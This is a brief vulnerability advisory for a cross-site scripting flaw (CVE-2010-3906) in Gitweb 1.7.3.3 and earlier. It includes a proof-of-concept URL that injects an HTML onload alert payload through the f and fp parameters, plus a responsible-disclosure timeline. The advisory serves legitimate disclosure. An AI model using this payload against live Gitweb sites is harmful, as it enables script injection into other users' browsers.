gitWeb 1.7.3.3 – Cross-Site Scripting

>-8 Description 8-<

Cross-site scripting (XSS) vulnerability in Gitweb 1.7.3.3 and previous versions

allows remote attackers to inject arbitrary web script or HTML code via f and fp variables.

>-8 Proof Of Concept 8-<

http://localhost/?p=foo/bar/ph33r.git;a=blobdiff;f=[XSS];fp=[XSS]

[XSS] => "><body onload="alert('xss')"> <a

>-8 Credits 8-<

Emanuele 'emgent' Gentili <e.gentili@tigersecurity.it>

>-8 Responsible Disclosure 8-<

13-12-2010 Initial contact with upstream and vendor-sec

13-12-2010 Vendor Response and CVE-2010-3906 assignation

15-12-2010 Public Disclosure